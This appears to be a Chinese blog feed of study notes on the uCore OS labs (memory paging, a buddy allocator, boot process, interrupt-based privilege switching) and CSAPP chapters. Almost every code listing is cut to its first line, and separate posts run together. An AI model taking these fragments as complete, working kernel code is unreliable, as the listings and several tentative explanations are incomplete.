故需要修改该行代码,使其按地址顺序插入至双向链表中。
1 | list_add_before(&free_list, &(base->page_link)); |
default_alloc_pages
在原先的代码中,当获取到了一个大小足够大的页面地址时,程序会先将该页头从链表中断开,切割,并将剩余空间放回链表中。但将剩余空间放回链表时,并没有按照地址顺序插入链表。
连续空闲页面中的第一个页称为页头,page header。
1 | if (page != NULL) { |
以下是修改后的代码
1 | if (page != NULL) { |
default_free_pages
该函数默认会在函数末尾处,将待释放的页头插入至链表的第一个节点。
1 | list_add(&free_list, &(base->page_link)); |
所以我们需要修改这部分代码,使其按地址顺序插入至对应的链表结点处。
1 | // 将空闲页面按地址大小插入至链表中 |
实现寻找虚拟地址对应的页表项.
通过设置页表和对应的页表项,可建立虚拟内存地址和物理内存地址的对应关系。
其中的
get_pte
函数是设置页表项环节中的一个重要步骤。此函数找到一个虚地址对应的二级页表项的内核虚地址,如果此二级页表项不存在,则分配一个包含此项的二级页表。
以下为实现的代码
1 | pte_t * get_pte(pde_t *pgdir, uintptr_t la, bool create) { |
请描述页目录项(Pag Director Entry)和页表(Page Table Entry)中每个组成部分的含义和以及对ucore而言的潜在用处。
请查看虚拟页表结构
如果ucore执行过程中访问内存,出现了页访问异常,请问硬件要做哪些事情?
以下答案参考了其他blog,具体细节留待以后再来研究。
释放某虚地址所在的页并取消对应二级页表项的映射.
当释放一个包含某虚地址的物理内存页时,需要让对应此物理内存页的管理数据结构Page做相关的清除处理,使得此物理内存页成为空闲;另外还需把表示虚地址与物理地址对应关系的二级页表项清除。
这个练习不是很难,对着注释完成即可。以下为实现的代码:
1 | //page_remove_pte - free an Page sturct which is related linear address la |
数据结构Page的全局变量(其实是一个数组)的每一项与页表中的页目录项和页表项有无对应关系?如果有,其对应关系是啥?
当页目录项或页表项有效时,Page数组中的项与页目录项或页表项存在对应关系。
页目录表中存放着数个页表条目PTE,这些页表条目中存放了某个二级页表所在物理页的信息,包括该二级页表的物理地址,但使用线性地址的头部PDX(Page Directory Index)来索引页目录表。
总结一下,页目录表内存放二级页表的物理地址,但却使用线性地址索引页目录表中的条目。
而页表(二级页表)与页目录(一级页表)具有类似的特性,页表中的页表项指向所管理的物理页的物理地址(不是数据结构Page的地址),使用线性地址的中部PTX(Page Table Index)来索引页表。
当二级页表获取物理页时,需要对该物理页所对应的数据结构page来做一些操作。其操作包括但不限于设置引用次数,这样方便共享内存。
为什么页目录表中存放的是物理地址呢?可能是为了防止递归查找。
即原先查找页目录表的目的是想将某个线性地址转换为物理地址,但如果页目录表中存放的是二级页表的线性地址,则需要先查找该二级页表的物理地址,此时需要递归查找,这可能会出现永远也查找不到物理地址的情况。
如果希望虚拟地址与物理地址相等,则需要如何修改lab2,完成此事? 鼓励通过编程来具体完成这个问题
将labcodes/lab2/tools/kernel.ld
中的加载地址从0xC0100000
修改为0x0
1 | // 修改前 |
将mm/
中的内核偏移地址修改为0
1 | // 修改前 |
最后一步,但也是必须要做的一步——关闭页机制。将开启页机制的那一段代码删除或注释掉最后一句即可。
1 | # 修改后 |
为什么要关闭页机制?只将偏移地址设置为0不够么?这是个值得探讨的问题。
注意到
kern/init.entry.S
中有这样一段代码
1
2
3
4 next:
# unmap va 0 ~ 4M, it's temporary mapping
xorl %eax, %eax
movl %eax, __boot_pgdir当CPU完成了
eip
的地址更新后,这两条指令会删除页目录表中的一个临时映射(va 0 ~ 4M to pa 0 ~ 4M)但一旦删除了这个临时映射后,CPU无法正常寻址,即便页目录表中还有一个映射(va KERNBASE + (0 ~ 4M) to pa 0 ~ 4M, 注意KERNBASE为0)
但只要基地址不为0,则不会出错。
具体的问题在哪呢?或许,需要查询一下intel 80386的相关手册。
buddy system(伙伴系统)分配算法
Buddy System算法把系统中的可用存储空间划分为存储块(Block)来进行管理, 每个存储块的大小必须是2的n次幂(Pow(2, n)), 即1, 2, 4, 8, 16, 32, 64, 128…
伙伴系统中每个存储块的大小都必须是2的n次幂,所以其中必须有个可以将传入数转换为最接近该数的2的n次幂的函数,相关代码如下
1 | // 传入一个数,返回最接近该数的2的指数(包括该数为2的整数这种情况) |
初始时,程序会多次将一块尺寸很大的物理内存空间传入init_memmap
函数,但该物理内存空间的大小却不一定是2的n次幂,所以需要对其进行分割。设定分割后的内存布局如下
1 | /* |
同时,在双向链表free_area.free_list
中,令空间较小的内存块在双向链表中靠前,空间较大的内存块在双向链表中靠后;低地址在前,高地址在后。故以下是最终的链表布局:
1 | /* |
根据上面的内存规划,可以得到buddy_init_memmap
的代码
1 | static void |
分配空间时,遍历双向链表,查找大小合适的内存块。
若链表中不存在合适大小的内存块,则对半切割遍历过程中遇到的第一块大小大于所需空间的内存块。
如果切割后的两块内存块的大小还是太大,则继续切割第一块内存块。
循环该操作,直至切割出合适大小的内存块。
最终buddy_alloc_pages
代码如下
1 | static struct Page * |
释放内存时
先将该内存块按照内存块大小从小到大与内存块地址从小到大的顺序插入至双向链表(具体请看上面的链表布局)。
尝试向前合并,一次就够。如果向前合并成功,则一定不能再次向前合并。
之后循环向后合并,直至无法合并。
需要注意的是,在查找两块内存块能否合并时,若当前内存块合并过,则其大小会变为原来的2倍,此时需要遍历比原始大小(合并前内存块大小)更大的内存块。
判断当前内存块的位置是否正常,如果不正常,则需要断开链表并重新插入至新的位置。
如果当前内存块没有合并则肯定正常,如果合并过则不一定异常。
最终代码如下
1 | static void |
buddy_check
是一个不能忽视的检查函数,该函数可以帮助查找出程序内部隐藏的bug。笔者将其中原本用于检查FIFO
算法的内容修改成检查buddySystem
的内容。所修改的内容如下:
1 | //......................................................... |
buddySystem
在所分配的内存大小均为2的n次幂这种环境下,使用效果极佳。
由于buddySystem
的特性,最好使用二叉树而非普通双向链表来管理内存块,这样就可以避免一系列的bug。
即便普通双向链表可以很好的实现buddySystem
,但其中仍然存在一个较为麻烦的问题:
当某个物理块释放,将其插入至双向链表后,如果该物理块既可以和上一个物理块合并,又可以和下一个物理块合并,那么此时该合并哪一个物理块?
这个问题,双向链表无法很好的解决,该问题很可能会使一些物理块因为错误的合并顺序而最终导致内存的碎片化,降低内存的使用率。
完整代码位于github,如有需要请自取。
任意大小的内存单元slub分配算法
slub算法,实现两层架构的高效内存单元分配,第一层是基于页大小的内存分配,第二层是在第一层基础上实现基于任意大小的内存分配。可简化实现,能够体现其主体思想即可。
]]>Challenge2 先鸽了,赶进度QWQ
sudo apt-get install qemu-system
,安装qemu程序,为执行uCore做准备int 0x80
指令进入一个中断程序后再根据eax寄存器的值来调用不同的子功能函数的。CPU大体上可分为控制单元、运算单元、存储单元
CPU中的寄存器分为两大类:程序可见寄存器(例如通用寄存器、段寄存器)和程序不可见寄存器(例如中断描述符寄存器IDTR)。
实模式的主要特性是:程序用到的地址都是真实的物理地址。同时,实模式下的地址寻址空间只有1MB(20bit)
从intel 80386开始的CPU,只要进入实模式,地址寻址空间就限制在1MB。
实模式下的地址计算方式为16*段寄存器值+段内偏移地址,其CPU寻址方式为
mov ax, [0x1234]
CPU初始状态为16位实模式,在实模式下只能访问1MB(20bits)内存。而硬件工程师将1MB的内存空间分成多个部分。
其中地址0-0x9ffff
的640KB内存是DRAM,即插在主板上的内存条。
顶部0xf0000-0xfffff
的64KB内存是ROM,存放BIOS代码。
BIOS检测并初始化硬件,同时建立中断向量表,并保证能运行一些基本硬件的IO操作
CPU中,插在主板上的物理内存并不是眼中“全部的内存”。地址总线宽度决定可以访问的内存空间大小。
并不是只有插在主板上的内存条需要通过地址总线访问,还有一些外设同样是需要通过地址总线来访问。
故地址总线上会提前预留出来一些地址空间给这些外设,其余的可用地址再指向DRAM。
代码中的分段与CPU的分段不同。编译器负责挑选出数据具备的属性,从而根据属性将程序片段分类,比如划分出了只读属性的代码段和可写属性的数据段。编译器并没有让段具备某种属性,对于代码段,编译器只是将代码归类到一起,并没有为代码段添加额外的信息。
逻辑地址是程序员能看到的虚拟地址。
在分段存储管理机制的保护模式下,每个段由如下三个参数进行定义:段基地址(Base Address)、段界限(Limit)和段属性(Attributes)
段描述符的格式
段描述符的结构
1 | /* segment descriptors */ |
1 |
|
0xF0000~0xFFFFF
。BIOS的入口地址为0xFFFF0
。0xF000:0xFFF0
,即0xFFFF0
。0xFFFF0
处是一条跳转指令jmp far f000:e05b
,跳转至BIOS真正的代码。之后便开始检测并初始化外设、与0x000-0x3ff
建立数据结构,中断向量表IVT并填写中断例程。0x55
和0xaa
,则BIOS认为此扇区中存在可执行的程序,并加载该512字节数据到0x7c00
,随后跳转至此继续执行。使用的跳转指令为jmp 0:0x7c00
,该指令是jmp指令的直接绝对远转移用法。磁盘与磁道的编号从0开始,扇区编号从1开始。
选择0x7c00
是避免覆盖已有的数据以及被其他数据覆盖。
bootloader的作用
MBR是主引导记录(Master Boot Record),也被称为主引导扇区,是计算机开机以后访问硬盘时所必须要读取的第一个扇区。其内部前446字节存储了bootloader代码,其后是4个16字节的“磁盘分区表”。
MBR是整个硬盘最重要的区域,一旦MBR物理实体损坏时,则该硬盘基本报废。
bootloader的入口点为0x7c00
。以下是一个简单的类MBR程序,该程序只会将1 MBR
字符串打印到屏幕上并挂起。通过该程序我们可以对MBR结构有了更深的了解。
1 | ;主引导程序 |
程序在section处使用了vstart
伪指令。该指令只要求编译器将后面的所有数据与变量的地址以0x7c00开始编址,并不负责加载。而加载是由MBR加载器将该程序加载到0x7c00处。
执行以下代码,即可看到程序输出
1 | # 编译汇编代码 |
硬件提供了软件方面的接口,操作系统通过软件(计算机指令)就能控制硬件。软件的逻辑需要作用在硬件上才能体现出来。
硬件在输出上大体分为串行和并行,相应的接口是串行接口和并行接口。
访问外部硬件的两种方式
0xB8000~0xBFFFF
。CPU往显存上写字节便是往屏幕上打印内容。显存地址分布如下CPU使用IO接口与外设通信。IO接口是连接CPU与外部设备的逻辑控制部件,可分为硬件软件两部分。
计算机与IO接口的通信是通过计算机指令来实现的。通过软件指令选择IO接口上的功能、工作模式的做法,称为“IO接口控制编程”,通常是用端口读写指令in/out实现。端口是IO接口开发给CPU的接口,一般的IO接口都有一组端口,每个端口都有自己的用途。in/out
指令使用方式如下。
1 | in al, dx # al/ax 用于存放从端口读入的数据,dx指端口号 |
例子:直接向显卡中写入数据
1 | ;主引导程序 |
idtr
寄存器中。eflags
寄存器上的IF
标志位将会自动被CPU置为0,待中断处理例程结束后才恢复IF
标志。中断/异常应该使用Interrupt Gate
或Trap Gate
。其中的唯一区别就是:当调用Interrupt Gate
时,Interrupt会被CPU自动禁止;而调用Trap Gate
时,CPU则不会去禁止或打开中断,而是保留原样。
这其中的原理是当CPU跳转至
Interrupt Gate
时,其eflag上的IF位会被清除。而Trap Gate
则不改变。
IDT中包含了3种类型的Descriptor
iret
(或iretd
)指令恢复被打断的程序的执行。CPU执行IRET指令的具体过程如下:尽管特权级相关的内容在Lab2课程中提及,但由于Lab1中的Challenge会涉及到特权级的改变,故将该部分的内容迁移至此处。
Kernel
为第0特权级(ring 0),用户程序为第3特权级(ring 3),操作系统保护分别为第1和第2特权级。lgdt
)只能运行在ring 0下。DPL存储于段描述符中,规定访问该段的权限级别(Descriptor Privilege Level),每个段的DPL固定。
当进程访问一个段时,需要进程特权级检查。
CPL存在于CS寄存器的低两位,即CPL是CS段描述符的DPL,是当前代码的权限级别(Current Privilege Level)。
RPL存在于段选择子中,说明的是进程对段访问的请求权限(Request Privilege Level),是对于段选择子而言的,每个段选择子有自己的RPL。而且RPL对每个段来说不是固定的,两次访问同一段时的RPL可以不同。RPL可能会削弱CPL的作用,例如当前CPL=0的进程要访问一个数据段,它把段选择符中的RPL设为3,这样虽然它对该段仍然只有特权为3的访问权限。
IOPL(I/O Privilege Level)即I/O特权标志,位于eflag寄存器中,用两位二进制位来表示,也称为I/O特权级字段。该字段指定了要求执行I/O指令的特权级。如 果当前的特权级别在数值上小于等于IOPL的值,那么,该I/O指令可执行,否则将发生一个保护异常。
只有当CPL=0时,可以改变IOPL的值,当CPL<=IOPL时,可以改变IF标志位。
在下述的特权级比较中,需要注意特权级越低,其ring值越大。
访问门时(中断、陷入、异常),要求DPL[段] <= CPL <= DPL[门]
访问门的代码权限比门的特权级要高,因为这样才能访问门。
但访问门的代码权限比被访问的段的权限要低,因为通过门的目的是访问特权级更高的段,这样就可以达到低权限应用程序使用高权限内核服务的目的。
访问段时,要求DPL[段] >= max {CPL, RPL}
只能使用最低的权限来访问段数据。
TSS(Task State Segment) 是操作系统在进行进程切换时保存进程现场信息的段,其结构如下
1 | /* task state segment format (as described by the Pentium architecture book) */ |
这里暂时只说明特权级切换相关的项。其中,TSS中分别保留了ring0、ring1、ring2的栈(ss
、esp
寄存器值)。当用户程序从ring3跳至ring0时(例如执行中断),此时的栈就会从用户栈切换到内核栈。切换栈的操作从开始中断的那一瞬间(例如:从int 0x78
到中断处理例程之间)就已完成。
切换栈的操作为修改
esp
和ss
寄存器。
TSS段的段描述符保存在GDT中,其ring0
的栈会在初始化GDT时被一起设置。TR
寄存器会保存当前TSS的段描述符,以提高索引速度。
1 | static struct segdesc gdt[] = { |
trapframe
结构是进入中断门所必须的结构,其结构如下
1 | struct trapframe { |
中断处理例程的入口代码用于保存上下文并构建一个trapframe
,其源代码如下:
1 | #include <memlayout.h> |
当通过陷入门从ring3切换至ring0(特权提升) 时
在陷入的一瞬间,CPU会因为特权级的改变,索引TSS,切换ss
和esp
为内核栈,并按顺序自动压入user_ss
、user_esp
、user_eflags
、user_cs
、old_eip
以及err
。
需要注意的是,CPU先切换到内核栈,此时的
esp
与ss
不再指向用户栈。但此时CPU却可以再将用户栈地址存入内核栈。这种操作可能是依赖硬件来完成的。
如果没有err,则CPU会自动压入0。
之后CPU会在中断处理例程入口处,先将剩余的段寄存器以及所有的通用寄存器压栈,构成一个trapframe
。然后将该trapframe
传入给真正的中断处理例程并执行。
该处理例程会判断传入的中断数(trapno
)并执行特定的代码。在提升特权级的代码中,程序会处理传入的trapframe
信息中的CS、DS、eflags
寄存器,修改上面的DPL、CPL与IOPL以达到提升特权的目的。
将修改后的trapframe
压入用户栈(这一步没有修改user_esp
寄存器),并设置中断处理例程结束后将要弹出esp
寄存器的值为用户栈的新地址(与刚刚不同,这一步修改了将要恢复的user_esp
寄存器)。
注意此时的用户栈地址指向的是修改后的
trapframe
。
这样在退出中断处理程序,准备恢复上下文的时候,首先弹出的栈寄存器值是修改后的用户栈地址,其次弹出的通用寄存器、段寄存器等等都是存储于用户栈中的trapframe
。
为什么要做这么奇怪的操作呢? 因为恢复
esp
寄存器的指令只有一条pop %esp
(当前环境下的
iret
指令不会弹出栈地址)。正常情况下,中断处理例程结束,恢复
esp
寄存器后,esp
指向的还是内核栈。但我们的目的是切换回用户栈,则此时只能修改原先要恢复的
esp
值,通过该指令切换到用户栈。
思考一下,进入中断处理程序前,上下文保存在内核栈。但将要恢复回上下文的数据却存储于用户栈。
在内核中,将修改后的trapframe压入用户栈
这一步,需要舍弃trapframe
中末尾两个旧的ss
和esp
寄存器数据,因为iret
指令的特殊性:
iret
指令的功能如下
iret
指令会按顺序依次弹出eip
、cs
以及eflag
的值到特定寄存器中,然后从新的cs:ip
处开始执行。如果特权级发生改变,则还会在弹出eflag
后再依次弹出esp
与ss
寄存器值。
由于iret
前后特权级不发生改变([中断中]ring0 -> ring0 [中断后]),故iret
指令不会弹出esp
和ss
寄存器值。如果这两个寄存器也被复制进用户栈,则相比于进入中断前的用户栈地址,esp
最终会抬高8个字节,可能造成很严重的错误。
通过陷入门从ring0切换至ring3(特权降低) 的过程与特权提升的操作基本一样,不过有几个不同点需要注意一下
与ring3调用中断不同,当ring0调用中断时,进入中断前和进入中断后的这个过程,栈不发生改变。
因为在调用中断前的权限已经处于ring0了,而中断处理程序里的权限也是ring0,所以这一步陷入操作的特权级没有发生改变,故不需要访问TSS并重新设置
ss
、esp
寄存器。
修改后的trapFrame
不需要像上面那样保存至将要使用的栈,因为当前环境下iret
前后特权级会发生改变,执行该命令会弹出ss
和esp
,所以可以通过iret
来设置返回时的栈地址。
理解通过make生成执行文件的过程.
make v=
,通过阅读其输出的步骤,我们可以得知make执行将所有的源代码编译成对象文件,并分别链接形成kernel
、bootblock
文件。
使用dd
命令,将生成的两个文件的数据拷贝至img文件中,形成映像文件。
dd
命令与cp
命令不同,该命令针对于磁盘,功能更加底层。
阅读源码lab1/tools/sign.c
,可以发现,符合规范的MBR特征是其512字节数据的最后两个字节是0x55
、0xAA
以下是部分源码
1 | // 读取文件至内存中 |
使用qemu执行并调试lab1中的软件。
修改tools/gdbinit
为
1 | file obj/bootblock.o |
define hook-stop ... end
,可以在每次gdb断下时自动执行内部的指令。上面gdb脚本中的define .. end
告诉gdb在每次断下时输出下一条指令,方便调试。continue
。这样gdb就会在0xfff0
处断下,然后我们就可以自由的单步跟踪。之后执行make debug
命令,即可自动打开qemu与已经连接完成的gdb。
有个坑点:远程连接qemu时,最好不要使用pwndbg插件。因为使用该插件会导致连接到qemu后无法操作gdb。
peda
插件可以正常使用。
调试过程中有一个点需要注意:BIOS的前几条指令在GDB中都需要手动加上段寄存器的值,否则会显示错误,因为cs
寄存器初始时非零;同时gdb默认只输出$ip
所指向地址的指针,而不是cs:ip
。
这是错误的指令输出
这是正确的指令输出
最后感谢@2st师傅在BIOS调试中提供了帮助。
分析bootloader进入保护模式的过程.
为何开启A20,以及如何开启A20?
Intel早期的8086 CPU提供了20根地址线,但寄存器只有16位,所以使用段寄存器值 << 4 + 段内偏移值的方法来访问到所有内存,但按这种方式来计算出的地址的最大值为1088KB,超过20根地址线所能表示的范围,会发生“回卷”(和整数溢出有点类似)。但下一代的基于Intel 80286 CPU的计算机系统提供了24根地址线,当CPU计算出的地址超过1MB时便不会发生回卷,而这就造成了向下不兼容。为了保持完全的向下兼容性,IBM在计算机系统上加个硬件逻辑来模仿早期的回绕特征,而这就是A20 Gate。
A20 Gate的方法是把A20地址线控制和键盘控制器的一个输出进行AND操作,这样来控制A20地址线的打开(使能)和关闭(屏蔽\禁止)。一开始时A20地址线控制是被屏蔽的(总为0),直到系统软件通过一定的IO操作去打开它。当A20 地址线控制禁止时,则程序就像在8086中运行,1MB以上的地址不可访问;保护模式下A20地址线控制必须打开。A20控制打开后,内存寻址将不会发生回卷。
在当前环境中,所用到的键盘控制器8042的IO端口只有0x60和0x64两个端口。8042通过这些端口给键盘控制器或键盘发送命令或读取状态。输出端口P2用于特定目的。位0(P20引脚)用于实现CPU复位操作,位1(P21引脚)用于控制A20信号线的开启与否。
我们要操作的位置是8042三个内部端口中输出端口的bit 1上,其写入该端口的做法为:
写Output Port:向64h发送0xd1命令,然后向60h写入Output Port的数据
启动A20的汇编代码如下
1 | # Enable A20: |
如何初始化GDT表
1 | # Bootstrap GDT |
如何使能和进入保护模式
ljmp $PROT_MODE_CSEG, $protcseg
以更新cs基地址。分析bootloader加载ELF格式的OS的过程.
bootloader如何读取硬盘扇区的?
bootloader让CPU进入保护模式后,下一步的工作就是从硬盘上加载并运行OS。考虑到实现的简单性,bootloader的访问硬盘都是LBA模式的PIO(Program IO)方式,即所有的IO操作是通过CPU访问硬盘的IO地址寄存器完成。硬盘相关的IO地址与功能如下:
IO地址 | 功能 |
---|---|
0x1f0 | 读数据,当0x1f7不为忙状态时,可以读。 |
0x1f2 | 要读写的扇区数,每次读写前,你需要表明你要读写几个扇区。最小是1个扇区 |
0x1f3 | 如果是LBA模式,就是LBA参数的0-7位 |
0x1f4 | 如果是LBA模式,就是LBA参数的8-15位 |
0x1f5 | 如果是LBA模式,就是LBA参数的16-23位 |
0x1f6 | 第0~3位:如果是LBA模式就是24-27位 第4位:为0主盘;为1从盘 |
0x1f7 | 状态和命令寄存器。操作时先给命令,再读取,如果不是忙状态就从0x1f0端口读数据 |
当前 硬盘数据是储存到硬盘扇区中,一个扇区大小为512字节。读一个扇区的流程大致如下:
相关实现代码如下
1 | /* waitdisk - wait for disk ready */ |
bootloader是如何加载ELF格式的OS?
bootloader先将ELF格式的OS加载到地址0x10000
。
1 | readseg((uintptr_t)ELFHDR, SECTSIZE * 8, 0); |
之后通过比对ELF的magic number来判断读入的ELF文件是否正确。
再将ELF中每个段都加载到特定的地址。
1 | // load each program segment (ignores ph flags) |
最后跳转至ELF文件的程序入口点(entry point)。
实现函数调用堆栈跟踪函数.
具体实现如下
1 | /* |
有几个点需要注意一下
eip
指向异常指令的下一条指令,所以要传入print_debuginfo
的参数为eip-1
eip
,后切换ebp
,两者顺序不能颠倒。原因是当先切换ebp后,再切换的eip是已切换后的栈帧的上一个栈帧eip。eip隔着一个栈帧进行了切换,会导致输出错误。labcodes_answer/kern/debug/kdebug.c
中的print_stackframe
.完善中断初始化和处理
中断描述符表(也可简称为保护模式下的中断向量表)中一个表项占多少字节?其中哪几位代表中断处理代码的入口?
一个表项的结构如下
1 | /* Gate descriptors for interrupts and traps */ |
该表项的大小为16+16+5+3+4+1+2+1+16 == 8*8
bit,即8字节。
根据IDT表项的结构,我们可以得知,IDT表项的第二个成员gd_ss
为段选择子,第一个成员gd_off_15_0
和最后一个成员gd_off_31_16
共同组成一个段内偏移地址。根据段选择子和段内偏移地址就可以得出中断处理程序的地址。
编程完善kern/trap/trap.c中对中断向量表进行初始化的函数idt_init.
具体实现如下,详细信息以注释的形式写入代码中。
1 | void idt_init(void) { |
编程完善trap.c中的中断处理函数trap,在对时钟中断进行处理的部分填写trap函数中处理时钟中断的部分,使操作系统每遇到100次时钟中断后,调用print_ticks子程序,向屏幕上打印一行文字”100 ticks”。
这个实现还是比较简单的,具体实现如下
1 | /* trap_dispatch - dispatch based on what type of trap occurred */ |
请注意:强烈建议学习完lab2中特权级切换的相关知识后再完成该扩展练习。
增加一组切换特权级的函数。当内核初始完毕后,可从内核态返回到用户态的函数,而用户态的函数又通过系统调用得到内核态的服务
部分讲解以注释的形式写入代码中。更详细的讲解请查看通过中断切换特权级
用户态转内核态
1 | // 全局变量 |
内核态转用户态
1 | // 全局变量 |
使用int中断的代码
1 | static void |
虽然在修改特权级的代码中,修改CPL和DPL是以赋值的形式而不是以位运算的形式来修改,但内核仍然可以正常工作,因为在Lab1中,GDT中所有段描述符的基地址都是相同的值—— 0 。
用键盘实现用户模式内核模式切换。具体目标是:“键盘输入3时切换到用户模式,键盘输入0时切换到内核模式”。
Challenge 1
的代码即可。1 | // in `trap_dispatch` of `trap.c` |
#
开头的预处理命令,插入或隐藏部分代码。修改后的源代码以.i
为后缀.i
文件编译为汇编代码.s
文件.s
文件并将其转换为机器语言指令,打包生成一种可重定位目标指令的格式,并将其保存在.o
文件中。.o
文件调用了某个库函数,但这个库函数的实现在另一个.o
文件中。因此链接器(ld)需要将各种.o
文件链接,最终生成可执行文件。为了在正数的基础上实现负数的表达,将数据的最高位设置为符号位。当符号位为0时,当前数据表示为正数;当符号位为1时,当前数据表示为负数。
故以32位int类型为例,其正数范围为0x00000001 ~ 0x7fffffff
;负数范围为0x80000000~0xffffffff
.取值范围为-2147483648~2147483647
.
取值范围不是对称的,负数的范围比正数的范围大一。故在int类型中,不是所有的负数都存在其相反数。例如以下例子
1 | if(-INT_MIN == INT_MIN) |
INT_MIN == -2147483648
,故-INT_MIN == 2147483648 == INT_MAX + 1
,-INT_MIN
范围超过int最大值,造成上溢,故最后的值还是INT_MIN
,即-INT_MIN == INT_MIN
。
通过强制类型转换来转换无符号/有符号类型,其数据的位值不变,但改变了解释这些位的方式。
需要注意的是,尽量避免无符号/有符号类型的混用,因为这样可能会进行隐式类型转换,造成非预期的错误。例如以下漏洞代码
1 |
|
当程度调用copy_from_kernel
函数所传入的maxlen
参数为负数时,由于隐式类型转换,最终memcpy
里的参数n
会是一个非常大的无符号整数,这将使程序读取到它没有被被授权的内核内存区域。
二进制小数表示的例子: $0.0011_2 = 0.1875_{10}$
IEEE浮点标准用$V=(-1)^s\times M\times2^E$的形式来表示一个浮点数:
浮点数的位级表示方式
1 | float: |
浮点数中的阶码并非真正的$2^{exp}$,而是需要减去一个偏移。该偏移为$offset = 2^{n-1} - 1$,其中n为阶码位数。
1 | // float类型 |
真正的阶码为$2^{exp-offset}$
浮点数编码的值有4钟不同的情况
尽管浮点数可表达的范围较大,但当浮点数越来越大时,其精度会越来越小;当浮点数越来越小时,其精度也会越来越大。不管精度如何变化,这其中始终存在一个范围。
浮点数无法精确表示所有的小数。大多数小数都只能近似表示,例如0.1表示为0.100000001。
浮点数也无法精确表示超大整数。超大整数的表示可能会丢失一些精度,例如表示的整数与预期值相差1等等。
float类型最好不要与double类型的数据进行比较,否则会产生一些奇怪的错误,例如以下代码
1 | float a = 0.1; |
当两个浮点数进行比较时,程序会自动将某个浮点数的类型转换成与另一个浮点数相同的类型,并比较其位级表示。 这段代码已经可以验证浮点数的不精确性。
常用的汇编指令暂且不表,这里只记录一些特殊的指令
实现条件操作的传统方法是通过使用控制的条件转移,例如各类跳转指令。这种机制十分简单而通用。但在现代处理器上,它可能会非常低效。
原因是现代处理器使用流水线方式来执行指令。
遇到条件跳转指令时,CPU会预判一条执行路径并将该路径上的指令装载进CPU里。
倘如预判失败,则必须清空流水线上的错误指令,而该操作会消耗大量时间,代价十分高昂。
一种替代策略是使用数据的条件转移。这种方法计算一个条件操作的两种结果,然后根据条件是否满足从中选取一个。如果这种策略在某些情况下可行,则只需用一条简单的条件传送指令来实现。例如以下代码:
1 | // 原始C代码 |
%rdi,%rsi...
不同,它们分别是%ymm0~ymm15
,每个%ymmX
寄存器可以保存32字节。其中%xmmX
寄存器是%ymmX
寄存器的低16字节。由于浮点数指令使用频率较低,暂且不表
该章节中,作者定义了一个简单的
Y86
指令集用于学习,以下笔记均以Y86
指令集为基础进行记录。
需要注意的是,尽管书上使用Y86
指令集进行讲解,我们仍可通过该指令集来探究现代指令集。
这里的程序员,既可以是用汇编代码写程序的人,也可以是产生机器级代码的编译器。
每条指令需要1~10个字节不等。其中
每条指令的第一个字节表明指示的类型。其中高4位是代码(code)部分,低4位是功能(function)部分。
功能值只有在一组相关指令共用一个代码时才有用。
以下是部分指令的具体字节编码
1 | 注:方括号中的数据,是指令第一个字节的十六进制表示 |
以上面的例子为例,rrmovq
指令与条件传送有同样的指令代码,可以把它看作是一个“无条件传送”。
指令的长度与指令功能相关,有些需要操作数的指令编码就更长一点。
例如
irmovq $1, %rax
。
大多数情况下默认的处理程序只会简单的关闭程序。
详细细节请翻阅CSAPP第三版第277页,这里只是简单概述
注意,此时只是计算,还没有设置下一条的PC
alufun
信号的设置,对输入的aluA
、aluB
执行特定操作。cond
的硬件单元会根据条件码和功能码来确定是否进行条件分支或条件数据传送。将流水线技术引入一个待反馈的系统,当相邻指令间存在相关时会导致问题。
这里的相关有两种形式:
1.数据相关。下一条指令会用到当前指令计算出的结果。
2.控制相关。一条指令要确定下一条指令的位置。
这些相关可能会导致流水线产生计算错误,称为冒险(hazard)。其中也分为数据冒险和控制冒险。
避免冒险的方式
为了提高CPU的运行速度,应尽量避免流水线冒险
将循环不变量从循环中提出。例如以下操作
1 | // 优化前 |
上面的例子中,未优化版本在某些情况下,其时间复杂度可达到$O(N^2)$级别!改进后的时间复杂度只有$O(N)$。
减少不必要的内存读/写以获得更高的执行速度。
现代处理器使用流水线机制,同时搭配高速缓存内存以达到更高的速度。避免流水线暂停或cache中数据未命中,可以让CPU尽可能地发挥出全部性能。
循环展开是一种程序变换,通过增加每次迭代计算的元素数量,减少循环的迭代次数。
例子:
1 | // 循环展开前 |
对于一个可结合或可交换的合并运算,我们可以通过将一组合并运算分割成两个或更多的部分,并在最后合并结果来提高性能。
例子
该例子还运用了循环展开技术。
1 | int limits = length - n; |
“Cache冲刷”指令为操作系统所使用,对操作系统程序员不是透明的。
例如虚拟内存系统中的翻译备用缓冲器,该部件用于缓存页表项。
这个计数值称为LRU位
当CPU访问了Cache时,每个Cache行的LRU位均递增。在下一次数据未命中时,操作系统通过比较特定组内的LRU位,选出最近最少用的Cache行,驱逐并重新加载数据。
例如当多个设备都允许访问主存,或多个CPU都带有各自的Cache而共享主存时
确保代码高速缓存友好的基本方法
编写高速缓存友好的代码的重要问题
示例代码
1 |
|
程序输出
其速度差距在这段代码的输出上表现的淋漓尽致,差距十分明显。
暂略
现代系统通过使控制流发生突变来对各种系统状态的变化做出反应,这种突变称为异常控制流(Exceptional Control Flow, ECF)。异常控制流发生在计算机系统的各个阶段,例如上下文切换、发送与接受信号,以及应用程序通过使用陷阱(trap)或系统调用(system call)的ECF形式,向操作系统请求服务。
在任何情况下,当CPU检测到事件发生时,它会通过一张叫做异常表(exception-table)的跳转表,跳转至处理特定异常的异常处理程序(exception handler)进行处理。
异常处理完成后,会发生以下三种情况中的一种
异常的类别
类别 | 原因 | 异步/同步 | 返回行为 |
---|---|---|---|
中断(interrupt) | 来自I/O设备的信号 | 异步 | 总是返回到下一条指令 |
陷阱(trap) | 有意的异常 | 同步 | 总是返回到下一条指令 |
故障(fault) | 潜在可恢复的错误 | 同步 | 可能返回到当前指令 |
终止(abort) | 不可恢复的错误 | 同步 | 不会返回 |
SIGSTOP, SIGTSTP, SIGTTIN, SIGTTOU
信号会使一个运行中的进程停止SIGCONT
信号会使一个暂停的程序再次开始执行。init进程的pid为1,它不会终止,是所有进程的祖先。
setjmp
和longjmp
函数来提供实现的setjmp
/sigsetjmp
longjmp
/siglongjmp
虚拟内存部分暂时跳过,待学习操作系统时再回顾
动态内存分配部分,由于笔者曾经学习了glibc的ptmalloc机制(这部分笔记也在blog中),故该部分也暂且跳过。
暂时跳过
一个IPv4地址是一个32位无符号整数。网络程序将IP地址存放在以下结构中
1 | /* IP address structure */ |
因为因特网主机中可以有不同的主机字节序列,TCP/IP为任意整数数据项定义了一个统一的网络字节顺序(network byte order) —— 大端字节顺序。
Unix提供以下函数在网络和主机字节顺序间实现转换。
1 |
|
IP地址通常是以一种称为点分十进制表示法来表示的。
例如
